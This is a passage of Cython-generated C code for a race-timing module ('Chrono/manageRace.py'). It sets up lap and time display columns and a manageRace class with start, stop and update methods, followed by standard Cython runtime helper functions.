__pyx_t_1); __Pyx_INCREF(Py_False); __Pyx_GIVEREF(Py_False); PyList_SET_ITEM(__pyx_t_2, 2, Py_False); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_time, __pyx_t_2) < 0)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":29 * cols["laps"] = [3, laps_width, False] * cols["time"] = [4, time_width, False] * cols["last"] = [5, time_width, False] # <<<<<<<<<<<<<< * cols["best"] = [6, time_width, False] * cols["partial"] = [None, time_width, False] */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_time_width); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_int_5); __Pyx_GIVEREF(__pyx_int_5); PyList_SET_ITEM(__pyx_t_1, 0, __pyx_int_5); __Pyx_GIVEREF(__pyx_t_2); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); __Pyx_INCREF(Py_False); __Pyx_GIVEREF(Py_False); PyList_SET_ITEM(__pyx_t_1, 2, Py_False); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_last, __pyx_t_1) < 0)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":30 * cols["time"] = [4, time_width, False] * cols["last"] = [5, time_width, False] * cols["best"] = [6, time_width, False] # <<<<<<<<<<<<<< * cols["partial"] = [None, time_width, False] * */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_time_width); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyList_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_INCREF(__pyx_int_6); __Pyx_GIVEREF(__pyx_int_6); PyList_SET_ITEM(__pyx_t_2, 0, __pyx_int_6); __Pyx_GIVEREF(__pyx_t_1); PyList_SET_ITEM(__pyx_t_2, 1, __pyx_t_1); __Pyx_INCREF(Py_False); __Pyx_GIVEREF(Py_False); PyList_SET_ITEM(__pyx_t_2, 2, Py_False); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (unlikely(PyObject_SetItem(__pyx_t_1, __pyx_n_u_best, __pyx_t_2) < 0)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":31 * cols["last"] = [5, time_width, False] * cols["best"] = [6, time_width, False] * cols["partial"] = [None, time_width, False] # <<<<<<<<<<<<<< * * class manageRace(): */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_time_width); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyList_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(Py_None); __Pyx_GIVEREF(Py_None); PyList_SET_ITEM(__pyx_t_1, 0, Py_None); __Pyx_GIVEREF(__pyx_t_2); PyList_SET_ITEM(__pyx_t_1, 1, __pyx_t_2); __Pyx_INCREF(Py_False); __Pyx_GIVEREF(Py_False); PyList_SET_ITEM(__pyx_t_1, 2, Py_False); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_cols); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (unlikely(PyObject_SetItem(__pyx_t_2, __pyx_n_u_partial, __pyx_t_1) < 0)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":33 * cols["partial"] = [None, time_width, False] * * class manageRace(): # <<<<<<<<<<<<<< * cmdStart = "Start" * cmdStop = "Stop" */ __pyx_t_1 = __Pyx_Py3MetaclassPrepare((PyObject *) NULL, __pyx_empty_tuple, __pyx_n_s_manageRace, __pyx_n_s_manageRace, (PyObject *) NULL, __pyx_n_s_Chrono_manageRace, (PyObject *) NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); /* "Chrono/manageRace.py":34 * * class manageRace(): * cmdStart = "Start" # <<<<<<<<<<<<<< * cmdStop = "Stop" * cmdSuspend = "Suspend" */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_cmdStart, __pyx_n_u_Start) < 0) __PYX_ERR(0, 34, __pyx_L1_error) /* "Chrono/manageRace.py":35 * class manageRace(): * cmdStart = "Start" * cmdStop = "Stop" # <<<<<<<<<<<<<< * cmdSuspend = "Suspend" * cmdWaiting = "Waiting" */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_cmdStop, __pyx_n_u_Stop) < 0) __PYX_ERR(0, 35, __pyx_L1_error) /* "Chrono/manageRace.py":36 * cmdStart = "Start" * cmdStop = "Stop" * cmdSuspend = "Suspend" # <<<<<<<<<<<<<< * cmdWaiting = "Waiting" * cmdFinish = "Finish" */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_cmdSuspend, __pyx_n_u_Suspend) < 0) __PYX_ERR(0, 36, __pyx_L1_error) /* "Chrono/manageRace.py":37 * cmdStop = "Stop" * cmdSuspend = "Suspend" * cmdWaiting = "Waiting" # <<<<<<<<<<<<<< * cmdFinish = "Finish" * cmdEndTime = "EndTime" */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_cmdWaiting, __pyx_n_u_Waiting) < 0) __PYX_ERR(0, 37, __pyx_L1_error) /* "Chrono/manageRace.py":38 * cmdSuspend = "Suspend" * cmdWaiting = "Waiting" * cmdFinish = "Finish" # <<<<<<<<<<<<<< * cmdEndTime = "EndTime" * */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_cmdFinish, __pyx_n_u_Finish) < 0) __PYX_ERR(0, 38, __pyx_L1_error) /* "Chrono/manageRace.py":39 * cmdWaiting = "Waiting" * cmdFinish = "Finish" * cmdEndTime = "EndTime" # <<<<<<<<<<<<<< * * _basecol = 7 */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_cmdEndTime, __pyx_n_u_EndTime) < 0) __PYX_ERR(0, 39, __pyx_L1_error) /* "Chrono/manageRace.py":41 * cmdEndTime = "EndTime" * * _basecol = 7 # <<<<<<<<<<<<<< * * _duration = 0 */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_basecol, __pyx_int_7) < 0) __PYX_ERR(0, 41, __pyx_L1_error) /* "Chrono/manageRace.py":43 * _basecol = 7 * * _duration = 0 # <<<<<<<<<<<<<< * _laps = 0 * _status = "" */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_duration_2, __pyx_int_0) < 0) __PYX_ERR(0, 43, __pyx_L1_error) /* "Chrono/manageRace.py":44 * * _duration = 0 * _laps = 0 # <<<<<<<<<<<<<< * _status = "" * */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_laps_2, __pyx_int_0) < 0) __PYX_ERR(0, 44, __pyx_L1_error) /* "Chrono/manageRace.py":45 * _duration = 0 * _laps = 0 * _status = "" # <<<<<<<<<<<<<< * * start_time = 0 */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_status_2, __pyx_kp_u__29) < 0) __PYX_ERR(0, 45, __pyx_L1_error) /* "Chrono/manageRace.py":47 * _status = "" * * start_time = 0 # <<<<<<<<<<<<<< * start_time_ms = 0 * remain_lap = 0 */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_start_time, __pyx_int_0) < 0) __PYX_ERR(0, 47, __pyx_L1_error) /* "Chrono/manageRace.py":48 * * start_time = 0 * start_time_ms = 0 # <<<<<<<<<<<<<< * remain_lap = 0 * partials = 0 */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_start_time_ms, __pyx_int_0) < 0) __PYX_ERR(0, 48, __pyx_L1_error) /* "Chrono/manageRace.py":49 * start_time = 0 * start_time_ms = 0 * remain_lap = 0 # <<<<<<<<<<<<<< * partials = 0 * maxrows = 0 */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_remain_lap, __pyx_int_0) < 0) __PYX_ERR(0, 49, __pyx_L1_error) /* "Chrono/manageRace.py":50 * start_time_ms = 0 * remain_lap = 0 * partials = 0 # <<<<<<<<<<<<<< * maxrows = 0 * */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_partials, __pyx_int_0) < 0) __PYX_ERR(0, 50, __pyx_L1_error) /* "Chrono/manageRace.py":51 * remain_lap = 0 * partials = 0 * maxrows = 0 # <<<<<<<<<<<<<< * * def __init__(self, duration, laps, status=cmdWaiting): */ if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_maxrows, __pyx_int_0) < 0) __PYX_ERR(0, 51, __pyx_L1_error) /* "Chrono/manageRace.py":53 * maxrows = 0 * * def __init__(self, duration, laps, status=cmdWaiting): # <<<<<<<<<<<<<< * self._duration = duration * self._laps = laps */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_1__init__, 0, __pyx_n_s_manageRace___init, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, ((PyObject *)__pyx_codeobj__32)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (!__Pyx_CyFunction_InitDefaults(__pyx_t_2, sizeof(__pyx_defaults), 1)) __PYX_ERR(0, 53, __pyx_L1_error) __pyx_t_3 = PyObject_GetItem(__pyx_t_1, __pyx_n_s_cmdWaiting); if (unlikely(!__pyx_t_3)) { PyErr_Clear(); __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_cmdWaiting); } if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_CyFunction_Defaults(__pyx_defaults, __pyx_t_2)->__pyx_arg_status = __pyx_t_3; __Pyx_GIVEREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_CyFunction_SetDefaultsGetter(__pyx_t_2, __pyx_pf_6Chrono_10manageRace___defaults__); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_init, __pyx_t_2) < 0) __PYX_ERR(0, 53, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":59 * print("manageRace.__init__(%d, %d, %s)"%(duration, laps, status)) * * def requestDefine( index ): # <<<<<<<<<<<<<< * print("def requestDefine(self):") * if index == 0: # nothing to do.... */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_3requestDefine, 0, __pyx_n_s_manageRace_requestDefine, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, ((PyObject *)__pyx_codeobj__34)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_requestDefine, __pyx_t_2) < 0) __PYX_ERR(0, 59, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":76 * Globals.MainWindow.B_Define.setCurrentIndex( 0 ) * * def stop(self): # <<<<<<<<<<<<<< * theRace = Globals.MainWindow.getActualRace() * if theRace._status == manageRace.cmdStart or theRace._status == manageRace.cmdEndTime: */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_5stop, 0, __pyx_n_s_manageRace_stop, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, ((PyObject *)__pyx_codeobj__36)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_stop, __pyx_t_2) < 0) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":124 * * * def start(self): # <<<<<<<<<<<<<< * if self._status != self.cmdWaiting: * return */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_7start, 0, __pyx_n_s_manageRace_start, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, ((PyObject *)__pyx_codeobj__38)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_start, __pyx_t_2) < 0) __PYX_ERR(0, 124, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":169 * * * def update(self): # <<<<<<<<<<<<<< * def setLine( color, row, column, text, icon = None): * try: */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_9update, 0, __pyx_n_s_manageRace_update, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, ((PyObject *)__pyx_codeobj__40)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_update, __pyx_t_2) < 0) __PYX_ERR(0, 169, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":264 * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) * * def doRace( self, tp, millis, type ): # <<<<<<<<<<<<<< * lap = 0 * raceTime = int(time()) */ __pyx_t_2 = __Pyx_CyFunction_NewEx(&__pyx_mdef_6Chrono_10manageRace_10manageRace_11doRace, 0, __pyx_n_s_manageRace_doRace, NULL, __pyx_n_s_Chrono_manageRace, __pyx_d, ((PyObject *)__pyx_codeobj__42)); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyObject_SetItem(__pyx_t_1, __pyx_n_s_doRace, __pyx_t_2) < 0) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Chrono/manageRace.py":33 * cols["partial"] = [None, time_width, False] * * class manageRace(): # <<<<<<<<<<<<<< * cmdStart = "Start" * cmdStop = "Stop" */ __pyx_t_2 = __Pyx_Py3ClassCreate(((PyObject*)&__Pyx_DefaultClassType), __pyx_n_s_manageRace, __pyx_empty_tuple, __pyx_t_1, NULL, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (PyDict_SetItem(__pyx_d, __pyx_n_s_manageRace, __pyx_t_2) < 0) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":1 * #!/usr/bin/python3 . # <<<<<<<<<<<<<< * ###################################################################################### * # (c) <NAME>, <EMAIL>, mars 2018 # */ __pyx_t_1 = PyDict_New(); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_1) < 0) __PYX_ERR(0, 1, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /*--- Wrapped vars code ---*/ goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); if (__pyx_m) { if (__pyx_d) { __Pyx_AddTraceback("init Chrono.manageRace", __pyx_clineno, __pyx_lineno, __pyx_filename); } Py_DECREF(__pyx_m); __pyx_m = 0; } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_ImportError, "init Chrono.manageRace"); } __pyx_L0:; __Pyx_RefNannyFinishContext(); #if PY_MAJOR_VERSION < 3 return; #else return __pyx_m; #endif } /* --- Runtime support code --- */ /* Refnanny */ #if CYTHON_REFNANNY static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) { PyObject *m = NULL, *p = NULL; void *r = NULL; m = PyImport_ImportModule((char *)modname); if (!m) goto end; p = PyObject_GetAttrString(m, (char *)"RefNannyAPI"); if (!p) goto end; r = PyLong_AsVoidPtr(p); end: Py_XDECREF(p); Py_XDECREF(m); return (__Pyx_RefNannyAPIStruct *)r; } #endif /* GetBuiltinName */ static PyObject *__Pyx_GetBuiltinName(PyObject *name) { PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name); if (unlikely(!result)) { PyErr_Format(PyExc_NameError, #if PY_MAJOR_VERSION >= 3 "name '%U' is not defined", name); #else "name '%.200s' is not defined", PyString_AS_STRING(name)); #endif } return result; } /* RaiseArgTupleInvalid */ static void __Pyx_RaiseArgtupleInvalid( const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found) { Py_ssize_t num_expected; const char *more_or_less; if (num_found < num_min) { num_expected = num_min; more_or_less = "at least"; } else { num_expected = num_max; more_or_less = "at most"; } if (exact) { more_or_less = "exactly"; } PyErr_Format(PyExc_TypeError, "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)", func_name, more_or_less, num_expected, (num_expected == 1) ? "" : "s", num_found); } /* RaiseDoubleKeywords */ static void __Pyx_RaiseDoubleKeywordsError( const char* func_name, PyObject* kw_name) { PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION >= 3 "%s() got multiple values for keyword argument '%U'", func_name, kw_name); #else "%s() got multiple values for keyword argument '%s'", func_name, PyString_AsString(kw_name)); #endif } /* ParseKeywords */ static int __Pyx_ParseOptionalKeywords( PyObject *kwds, PyObject **argnames[], PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, const char* function_name) { PyObject *key = 0, *value = 0; Py_ssize_t pos = 0; PyObject*** name; PyObject*** first_kw_arg = argnames + num_pos_args; while (PyDict_Next(kwds, &pos, &key, &value)) { name = first_kw_arg; while (*name && (**name != key)) name++; if (*name) { values[name-argnames] = value; continue; } name = first_kw_arg; #if PY_MAJOR_VERSION < 3 if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) { while (*name) { if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) && _PyString_Eq(**name, key)) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { if ((**argname == key) || ( (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) && _PyString_Eq(**argname, key))) { goto arg_passed_twice; } argname++; } } } else #endif if (likely(PyUnicode_Check(key))) { while (*name) { int cmp = (**name == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**name, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) { values[name-argnames] = value; break; } name++; } if (*name) continue; else { PyObject*** argname = argnames; while (argname != first_kw_arg) { int cmp = (**argname == key) ? 0 : #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 : #endif PyUnicode_Compare(**argname, key); if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; if (cmp == 0) goto arg_passed_twice; argname++; } } } else goto invalid_keyword_type; if (kwds2) { if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; } else { goto invalid_keyword; } } return 0; arg_passed_twice: __Pyx_RaiseDoubleKeywordsError(function_name, key); goto bad; invalid_keyword_type: PyErr_Format(PyExc_TypeError, "%.200s() keywords must be strings", function_name); goto bad; invalid_keyword: PyErr_Format(PyExc_TypeError, #if PY_MAJOR_VERSION < 3 "%.200s() got an unexpected keyword argument '%.200s'", function_name, PyString_AsString(key)); #else "%s() got an unexpected keyword argument '%U'", function_name, key); #endif bad: return -1; } /* PyObjectCall */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { PyObject *result; ternaryfunc call = func->ob_type->tp_call; if (unlikely(!call)) return PyObject_Call(func, arg, kw); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = (*call)(func, arg, kw); Py_LeaveRecursiveCall(); if (unlikely(!result) && unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_EqObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { if (op1 == op2) { Py_RETURN_TRUE; } #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long a = PyInt_AS_LONG(op1); if (a == b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a; const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } #if PyLong_SHIFT < 30 && PyLong_SHIFT != 15 default: return PyLong_Type.tp_richcompare(op1, op2, Py_EQ); #else default: Py_RETURN_FALSE; #endif } } if (a == b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); if ((double)a == (double)b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } return PyObject_RichCompare(op1, op2, Py_EQ); } #endif /* GetModuleGlobalName */ static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) { PyObject *result; #if !CYTHON_AVOID_BORROWED_REFS result = PyDict_GetItem(__pyx_d, name); if (likely(result)) { Py_INCREF(result); } else { #else result = PyObject_GetItem(__pyx_d, name); if (!result) { PyErr_Clear(); #endif result = __Pyx_GetBuiltinName(name); } return result; } /* PyCFunctionFastCall */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) { PyCFunctionObject *func = (PyCFunctionObject*)func_obj; PyCFunction meth = PyCFunction_GET_FUNCTION(func); PyObject *self = PyCFunction_GET_SELF(func); assert(PyCFunction_Check(func)); assert(METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))); assert(nargs >= 0); assert(nargs == 0 || args != NULL); /* _PyCFunction_FastCallDict() must not be called with an exception set, because it may clear it (directly or indirectly) and so the caller loses its exception */ assert(!PyErr_Occurred()); return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs, NULL); } #endif // CYTHON_FAST_PYCCALL /* PyFunctionFastCall */ #if CYTHON_FAST_PYCALL #include "frameobject.h" static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, PyObject *globals) { PyFrameObject *f; PyThreadState *tstate = PyThreadState_GET(); PyObject **fastlocals; Py_ssize_t i; PyObject *result; assert(globals != NULL); /* XXX Perhaps we should create a specialized PyFrame_New() that doesn't take locals, but does take builtins without sanity checking them. */ assert(tstate != NULL); f = PyFrame_New(tstate, co, globals, NULL); if (f == NULL) { return NULL; } fastlocals = f->f_localsplus; for (i = 0; i < na; i++) { Py_INCREF(*args); fastlocals[i] = *args++; } result = PyEval_EvalFrameEx(f,0); ++tstate->recursion_depth; Py_DECREF(f); --tstate->recursion_depth; return result; } #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) { PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); PyObject *globals = PyFunction_GET_GLOBALS(func); PyObject *argdefs = PyFunction_GET_DEFAULTS(func); PyObject *closure; #if PY_MAJOR_VERSION >= 3 PyObject *kwdefs; #endif PyObject *kwtuple, **k; PyObject **d; Py_ssize_t nd; Py_ssize_t nk; PyObject *result; assert(kwargs == NULL || PyDict_Check(kwargs)); nk = kwargs ? PyDict_Size(kwargs) : 0; if (Py_EnterRecursiveCall((char*)" while calling a Python object")) { return NULL; } if ( #if PY_MAJOR_VERSION >= 3 co->co_kwonlyargcount == 0 && #endif likely(kwargs == NULL || nk == 0) && co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { if (argdefs == NULL && co->co_argcount == nargs) { result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); goto done; } else if (nargs == 0 && argdefs != NULL && co->co_argcount == Py_SIZE(argdefs)) { /* function called with no arguments, but all parameters have a default value: use default values as arguments .*/ args = &PyTuple_GET_ITEM(argdefs, 0); result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); goto done; } } if (kwargs != NULL) { Py_ssize_t pos, i; kwtuple = PyTuple_New(2 * nk); if (kwtuple == NULL) { result = NULL; goto done; } k = &PyTuple_GET_ITEM(kwtuple, 0); pos = i = 0; while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { Py_INCREF(k[i]); Py_INCREF(k[i+1]); i += 2; } nk = i / 2; } else { kwtuple = NULL; k = NULL; } closure = PyFunction_GET_CLOSURE(func); #if PY_MAJOR_VERSION >= 3 kwdefs = PyFunction_GET_KW_DEFAULTS(func); #endif if (argdefs != NULL) { d = &PyTuple_GET_ITEM(argdefs, 0); nd = Py_SIZE(argdefs); } else { d = NULL; nd = 0; } #if PY_MAJOR_VERSION >= 3 result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, kwdefs, closure); #else result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, args, nargs, k, (int)nk, d, (int)nd, closure); #endif Py_XDECREF(kwtuple); done: Py_LeaveRecursiveCall(); return result; } #endif // CPython < 3.6 #endif // CYTHON_FAST_PYCALL /* PyObjectCallMethO */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { PyObject *self, *result; PyCFunction cfunc; cfunc = PyCFunction_GET_FUNCTION(func); self = PyCFunction_GET_SELF(func); if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) return NULL; result = cfunc(self, arg); Py_LeaveRecursiveCall(); if (unlikely(!result) && 